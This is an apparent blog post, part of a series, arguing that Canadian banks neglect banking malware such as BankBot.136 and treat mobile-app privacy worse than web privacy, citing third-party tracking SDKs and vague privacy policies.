The banks should all know the software is out there, and know the software will impersonate CIBC, RBC, TD, and so on.  If you look at the underpinnings of each app that the banks put out, they don’t appear to be looking for the BankBot.136 app, even though the app is definitely looking for them. In Canada, you have a massive portion of users running just six banking apps, and so you’d think that the initiative would have been taken to look for this and other malware like it.  However, I just don’t ever see it happening.  Again, it's that "capture the flag" mentality, rather than the “scrub the attack surface” mentality that needs to accompany it.. 

But remember, “At such-n-such bank, customer security is of paramount importance <insert more whitewash about firewalls and encryption or some other tech that just doesn’t address these problems>”.

So, everyone is after your data, via the bank apps, whether it’s criminals, or the bank.  That much is clear.  

Now let's switch it up a bit; Remember, with banks, their services are no longer the only product. As a customer, you are also the product, though whether that's for criminals or people the bank wants to share your information with, is kind of irrelevant. 

My interpretation of the CIBC privacy policy is simple: "if you give us anything, we assume you're fine with that and we can use it however we see fit“.  Scotiabank is a bit more complicated as they try to sound like you can opt out of portions of collection of data.  However, the mobile banking app uses the Enstream framework over http not https and sends stuff to Bell, and logs information through Adobe products such as Omniture so your private data is obviously being sent to other third party systems, and whilst the privacy literature online says you can opt out of having data collected, try to find anywhere in the current banking apps about turning off that collection there.  It looks suspiciously like the apps were written in a totally different “second rate” spirit of privacy.

When I bank through online banking, I can use Ghostery and AdBlock to chop off browser tracking at its knees, and my browser can block third party cookies, whilst TunnelBear can say I'm in Hong Kong instead of the UK or Canada... so I have some control over my privacy and the underlying tracking from Adobe (who aren't known historically for not leaking too) can't link me to my online shopping for instance.  If I used the mobile app, I've lost that control of my privacy and security.  

That's a problem. 

I bundled this group of problems under a very big umbrella because I think they’re actually symptoms of a common cause, and that is that mobile app privacy is simply treated in an inferior manner to web browser privacy, even though the customer uses the two interchangeably with the same privacy expectations for each.

In the case of smishing, I’ve been told that often this is a numbers game and that banks just let the customer get inconvenienced and the bank’s insurance will just cover any costs the bank incurs. I can’t imagine that the insurance companies would let that go on forever. 

For this group of problems, I think the banks need to get together with the government privacy office and work through this as a collective.  From a security standpoint, the banks already often talk together when it suits them, but certainly not enough to the customers.  For instance, when was the last time your bank talked to you about what (if anything) they’ve done about TrickBot, or when did your bank clarify in their privacy policy as to what the Facebook SDK is doing in your banking app?  Is it just liking and sharing with contacts, or are they harvesting your social graph to work out who your friends and family are?  Go and look at your bank privacy policy and see if you can find the answer to those types of questions and you’ll normally come up with no answers.

The privacy policies for online banking doesn't accurately reflect mobile.  At the end of the day, as a customer you are as much of a product to the bank, which can be sold to third parties, just as the mortgages and banking services they sell you are products.  But, on the mobile side, things are not clear - and I think that's deliberate.  The next time some social media rep, or media wag in the news is delivering the well-worn cliches about firewalls and other 1990s bafflegab to sound impressive to your grandma, ask yourself how all that affects the fact that your bank is using beacons and things to track you and gather information.

So, to recap what needs fixing so far in this series of articles.
Part 1 - Don't be lazy with mobile app security, and check the code being pushed into production for unauthorized additions.
Part 2 - Stop people doing dumb things like posting confidential documents in public by training them with proper rules and protocols.
Part 3 - Stop treating mobile banking as a second rate privacy area.